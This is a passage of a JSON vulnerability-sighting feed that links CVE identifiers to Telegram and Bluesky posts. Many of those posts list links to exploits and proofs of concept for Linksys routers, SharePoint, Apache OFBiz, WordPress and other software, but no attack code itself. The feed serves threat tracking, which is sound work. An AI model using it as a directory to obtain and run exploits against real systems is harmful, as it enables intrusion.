\n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2024-05-11T08:01:18.000000Z"}, {"uuid": "9ee3c80c-ad55-4966-9aa4-4f99798b2bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/6657", "content": "Linksys routers POCs\n\nCVE-2024-33788  \n\nCVE-2024-33789 \n\n#Cve #Poc \n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2024-05-11T08:01:18.000000Z"}, {"uuid": "5c97574b-1271-4b86-be72-39ad6d0d0919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33511", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-06T11:00:07.660488Z"}, {"uuid": "27198698-93ba-4c8c-887e-308cf9b59130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33512", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-06T11:00:07.547603Z"}, {"uuid": "3d2a13ec-03c5-4c39-8792-985aee7f5380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11980", "content": "#AppSec\n#WebApp_Security\n1. OpenResty/lua-nginx-module HTTP Request Smuggling in HEAD requests (CVE-2024-33452)\nhttps://www.benasin.space/2025/03/18/OpenResty-lua-nginx-module-v0-10-26-HTTP-Request-Smuggling-in-HEAD-requests\n2. How to gain code execution on millions of people and hundreds of popular apps\nhttps://kibty.town/blog/todesktop", "creation_timestamp": "2025-03-29T04:42:09.000000Z"}, {"uuid": "1d3f9862-6658-4937-b194-f9d31a39dfbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10465", "content": "#exploit\n#WLAN_Security\n1. CVE-2024-33788:\nLinksys E5600 - Wi-Fi Protected Setup Flaw\nhttps://github.com/ymkyu/CVE/tree/main/CVE-2024-33788\n\n2. CVE-2024-33789:\nLinksys E5600 - Diagnostics Trouble\nhttps://github.com/ymkyu/CVE/tree/main/CVE-2024-33789\n\n3. CVE-2023-45741\nBuffalo VR-S1000 - OS Command Injection\nhttps://neroteam.com/blog/buffalo-vpn-vr-s1000-vulnerability-report", "creation_timestamp": "2024-05-08T13:38:45.000000Z"}, {"uuid": "6d84b694-53bb-45f3-bfec-15a5693eff66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10465", "content": "#exploit\n#WLAN_Security\n1. CVE-2024-33788:\nLinksys E5600 - Wi-Fi Protected Setup Flaw\nhttps://github.com/ymkyu/CVE/tree/main/CVE-2024-33788\n\n2. CVE-2024-33789:\nLinksys E5600 - Diagnostics Trouble\nhttps://github.com/ymkyu/CVE/tree/main/CVE-2024-33789\n\n3. CVE-2023-45741\nBuffalo VR-S1000 - OS Command Injection\nhttps://neroteam.com/blog/buffalo-vpn-vr-s1000-vulnerability-report", "creation_timestamp": "2024-05-08T13:38:45.000000Z"}, {"uuid": "04f33fb0-16b9-4663-9b27-e1778215517e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33559", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10540", "content": "#exploit\n1. CVE-2024-32113:\nApache OFBiz Directory Traversal\nhttps://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit\n]-> https://github.com/Mr-xn/CVE-2024-32113\n\n2. CVE-2024-4367:\nArbitrary JavaScript execution in PDF.js\nhttps://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js\n\n3. CVE-2024-33559:\nWordPress Theme XStore 9.3.8 - SQLi\nhttps://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection", "creation_timestamp": "2024-06-06T05:45:52.000000Z"}, {"uuid": "05578617-2f7b-4032-8d2f-663d188000a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33327", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10820", "content": "#exploit\n1. CVE-2024-38094,\nCVE-2024-38024,\nCVE-2024-38023:\nMS SharePoint RCE\nhttps://github.com/testanull/MS-SharePoint-July-Patch-RCE-PoC\n\n2. CVE-2024-33327:\nLumisXP XSS\nhttps://seclists.org/fulldisclosure/2024/Jul/9\n\n3. Evernote RCE: From PDF.js font-injection to All-platform Electron exposed ipcRenderer with listened BrokerBridge RCE\nhttps://0reg.dev/blog/evernote-rce", "creation_timestamp": "2024-07-12T13:22:56.000000Z"}, {"uuid": "f02e57ae-6476-4f53-a18d-a6f31d49f826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10891", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T16:27:25.000000Z"}, {"uuid": "7a7e8a1e-8e56-4e0f-842b-066a2cae9967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33895", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11017", "content": "#exploit\n1. CVE-2024-3183:\nKerberos FreeIPA Rosting - Use of Psw Hash With Insufficient Computational Effort\nhttps://github.com/Cyxow/CVE-2024-3183-POC\n\n2. CVE-2024-33895:\nUse of Hard-coded Cryptographic Key in Ewon Cosy+ VPN Gateway\nhttps://seclists.org/fulldisclosure/2024/Aug/22", "creation_timestamp": "2024-08-21T22:23:03.000000Z"}, {"uuid": "997c1ae3-3765-4376-b9ec-a2cc0daad2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11647", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T15:36:02.000000Z"}, {"uuid": "d6800df4-cf78-424c-b616-19a087014a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33327", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/3410", "content": "#exploit\n1. CVE-2024-38094,\nCVE-2024-38024,\nCVE-2024-38023:\nMS SharePoint RCE\nhttps://github.com/testanull/MS-SharePoint-July-Patch-RCE-PoC\n\n2. CVE-2024-33327:\nLumisXP XSS\nhttps://seclists.org/fulldisclosure/2024/Jul/9\n\n3. Evernote RCE: From PDF.js font-injection to All-platform Electron exposed ipcRenderer with listened BrokerBridge RCE\nhttps://0reg.dev/blog/evernote-rce", "creation_timestamp": "2024-08-16T11:16:24.000000Z"}, {"uuid": "9f0e7a9c-2261-4d83-be25-9b28183bb68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33895", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4160", "content": "#exploit\n1. CVE-2024-3183:\nKerberos FreeIPA Rosting - Use of Psw Hash With Insufficient Computational Effort\nhttps://github.com/Cyxow/CVE-2024-3183-POC\n\n2. CVE-2024-33895:\nUse of Hard-coded Cryptographic Key in Ewon Cosy+ VPN Gateway\nhttps://seclists.org/fulldisclosure/2024/Aug/22", "creation_timestamp": "2024-08-22T06:08:12.000000Z"}, {"uuid": "00cb85db-d411-4991-958d-79a07a2f6454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/3484", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-08-16T11:18:01.000000Z"}, {"uuid": "f897d5b7-a939-461b-89d0-6eda255eb42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/312", "content": "https://github.com/FelixFoxf/-CVE-2024-3393\n\nCVE-2024-3393 EXPLOIT\n#github #exploit", "creation_timestamp": "2025-01-06T10:55:48.000000Z"}, {"uuid": "1c2844c8-630d-4f16-ae29-d49f0ec07abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33901", "type": "published-proof-of-concept", "source": "https://t.me/DEVIL_La_RSx/1607", "content": "CVE-2024-33901-ProofOfConcept\nShort program that demonstrates the vulnerability CVE-2024-33901 in KeePassXC version 2.7.7\n\nThe report for the class might need the source code linked, so that's why I created the repo for this\n\nhttps://github.com/gmikisilva/CVE-2024-33901-ProofOfConcept", "creation_timestamp": "2024-12-02T01:56:50.000000Z"}, {"uuid": "dca6e1a3-4567-436f-80ea-1123aeca27b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33352", "type": "seen", "source": "Telegram/Aa-0BibdUURQTQB8vAK81JOhZI4LJlfkqSwyDkBvxH4d8YE", "content": "", "creation_timestamp": "2026-05-08T03:00:10.000000Z"}, {"uuid": "7f2f812b-4f72-4427-9e39-df030c9c9eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33909", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moilpmljvs27", "content": "", "creation_timestamp": "2026-06-17T15:07:31.901592Z"}, {"uuid": "c21dde94-fe65-4f07-908e-c6467ba82121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33699", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mopaloyqb22a", "content": "", "creation_timestamp": "2026-06-20T06:37:07.312974Z"}, {"uuid": "d630d9a9-743b-4eb6-8b75-7d1859cd356b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33066", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3movvjbdsdj2x", "content": "", "creation_timestamp": "2026-06-22T22:07:32.633465Z"}, {"uuid": "1a9daf9d-037d-4711-99c5-bc70f5227106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33066", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3movviie7nr2i", "content": "", "creation_timestamp": "2026-06-22T22:07:06.822739Z"}, {"uuid": "50ca7649-6118-44bf-93ce-44d621473ad9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/3b9d12b0-1222-4537-8919-8e9d0f679cf1", "content": "", "creation_timestamp": "2026-06-23T11:14:31.482382Z"}, {"uuid": "e6e12111-405d-40aa-8776-0fb45865d9dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33511", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-07T00:00:19.810567Z"}, {"uuid": "0def6e03-9b5a-4132-849a-ffb45838b7ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33512", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-07T00:00:19.701936Z"}, {"uuid": "935a2f8f-8824-4382-9736-cf819008c289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/brutsecurity/813", "content": "", "creation_timestamp": "2026-07-09T03:00:13.064409Z"}, {"uuid": "cc1b0d93-2bf7-4a62-9f43-29259e49aca4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/brutsecurity/813", "content": "", "creation_timestamp": "2026-07-10T00:00:36.886704Z"}, {"uuid": "c1a73840-0a21-4324-b144-c72df37ba514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/brutsecurity/813", "content": "", "creation_timestamp": "2026-07-11T18:00:04.913663Z"}, {"uuid": "87ea7d69-503e-4d14-b333-d1f8bcdf7b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33533", "type": "seen", "source": "https://t.me/brutsecurity/813", "content": "", "creation_timestamp": "2026-07-12T00:00:42.195937Z"}, {"uuid": "350261e5-f5bd-471d-ba28-8226e6c6368a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33512", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-12T00:00:17.847086Z"}, {"uuid": "2b27db68-59bc-4571-80b6-4626768d5a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33511", "type": "seen", "source": "https://t.me/ZerodayAlert/228", "content": "", "creation_timestamp": "2026-07-12T00:00:17.782955Z"}, {"uuid": "1c4a86d0-dcdd-48d2-95d3-55589b8e4e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33421", "type": "seen", "source": "https://t.me/GithubRedTeam/87855", "content": "", "creation_timestamp": "2026-07-12T12:00:05.141955Z"}, {"uuid": "068c5b9e-2ba7-4ac4-aa33-7586c52eb4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33421", "type": "seen", "source": "https://t.me/GithubRedTeam/87855", "content": "", "creation_timestamp": "2026-07-13T00:00:44.929056Z"}, {"uuid": "6f451975-b112-441a-ae0b-7df7fb7c977b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33064", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr4ckbhu462m", "content": "", "creation_timestamp": "2026-07-20T22:07:06.804740Z"}, {"uuid": "a91b7f87-b629-4d11-8c4c-02d0460df437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33698", "type": "seen", "source": "https://t.me/pphm_HackerNews/1056", "content": "", "creation_timestamp": "2026-07-22T05:00:05.113025Z"}, {"uuid": "647b393b-5b90-4d9d-bfec-5b3cfbd5d2a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33698", "type": "seen", "source": "https://t.me/pphm_HackerNews/1056", "content": "", "creation_timestamp": "2026-07-23T00:00:24.977402Z"}, {"uuid": "1d489ba6-9817-4ddc-bae2-94a6c42a7923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33655", "type": "seen", "source": "https://t.me/linuxkalii/901", "content": "", "creation_timestamp": "2026-07-26T00:00:12.900730Z"}, {"uuid": "b44d454c-de70-4bee-80f6-c92c10a1436a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/cyberwarehouse/653", "content": "", "creation_timestamp": "2026-07-26T02:00:16.364153Z"}, {"uuid": "6dc30c10-0a81-4ef3-b911-691da71ffd6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "https://t.me/zhatez/1752", "content": "", "creation_timestamp": "2026-07-26T07:01:47.540379Z"}, {"uuid": "6e2646f6-35d1-4b4f-be2b-6869cdcb7e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "https://t.me/zhatez/1752", "content": "", "creation_timestamp": "2026-07-27T00:01:31.613673Z"}, {"uuid": "8dd9a11c-c01f-4901-8732-9ed274e2d336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/cyberwarehouse/653", "content": "", "creation_timestamp": "2026-07-27T00:00:27.075885Z"}, {"uuid": "233308c2-373f-4f59-a4ae-684379ead5c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33452", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/1752", "content": "", "creation_timestamp": "2026-07-28T23:00:04.171983Z"}, {"uuid": "57cc2c76-f340-4219-8b06-a818d6cf981e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33452", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/1752", "content": "", "creation_timestamp": "2026-07-29T00:00:10.206965Z"}, {"uuid": "214d5d86-4b20-4ed4-94e5-aea071a8c80a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33789", "type": "seen", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-04T13:00:17.960638Z"}, {"uuid": "53a455a8-7bf3-4218-baad-2a1ac2c3f236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33788", "type": "seen", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-04T13:00:17.866442Z"}, {"uuid": "209305b9-ca0e-4196-9bac-761f32f3680f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33551", "type": "seen", "source": "https://t.me/pentestnotes/34", "content": "", "creation_timestamp": "2026-08-04T13:00:17.795309Z"}, {"uuid": "f34eb747-c980-4299-9e49-994dc7a838c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33113", "type": "seen", "source": "https://t.me/pentestnotes/46", "content": "", "creation_timestamp": "2026-08-04T13:00:17.697133Z"}, {"uuid": "b598fc3d-b1c4-48a4-8557-451353c66557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33111", "type": "seen", "source": "https://t.me/pentestnotes/50", "content": "", "creation_timestamp": "2026-08-04T13:00:17.605738Z"}, {"uuid": "4c9673a0-0918-4608-8e2a-14d77c5da347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33789", "type": "seen", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-05T00:00:33.005219Z"}, {"uuid": "6499cbc5-e5aa-4ca0-91a9-8c163c38df81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33788", "type": "seen", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-05T00:00:32.909160Z"}, {"uuid": "22146034-0c38-450a-b859-5bb7aeab54b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33551", "type": "seen", "source": "https://t.me/pentestnotes/34", "content": "", "creation_timestamp": "2026-08-05T00:00:32.808346Z"}, {"uuid": "77e65247-30e9-412e-8088-4af63b2495ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33113", "type": "seen", "source": "https://t.me/pentestnotes/46", "content": "", "creation_timestamp": "2026-08-05T00:00:32.648656Z"}, {"uuid": "93a4edde-a15c-4ffb-8392-b02a10ea9d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33111", "type": "seen", "source": "https://t.me/pentestnotes/50", "content": "", "creation_timestamp": "2026-08-05T00:00:32.530801Z"}, {"uuid": "056f00eb-077a-4370-a6db-7b16f507a4f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33111", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/50", "content": "", "creation_timestamp": "2026-08-06T00:01:01.662251Z"}, {"uuid": "065dae71-9923-4635-82b9-833a1800eadf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33113", "type": "seen", "source": "https://t.me/pentestnotes/46", "content": "", "creation_timestamp": "2026-08-06T00:01:01.426437Z"}, {"uuid": "154f5de8-e05e-4869-a563-f4b183e70503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33551", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/34", "content": "", "creation_timestamp": "2026-08-06T00:01:01.201975Z"}, {"uuid": "70228a86-6426-4fd4-b19d-3e9d85b2c980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-06T00:01:01.050358Z"}, {"uuid": "08ba163e-a619-49ab-a7bd-ced5334f69c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/30", "content": "", "creation_timestamp": "2026-08-06T00:01:01.008518Z"}, {"uuid": "f62373cd-a03f-416d-b665-b52edc65efe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33655", "type": "published-proof-of-concept", "source": "https://t.me/linuxkalii/901", "content": "", "creation_timestamp": "2026-08-06T03:00:04.535564Z"}, {"uuid": "d8c3adbb-95fd-450e-b451-1466034b7962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33655", "type": "published-proof-of-concept", "source": "https://t.me/linuxkalii/901", "content": "", "creation_timestamp": "2026-08-07T00:42:04.371070Z"}]}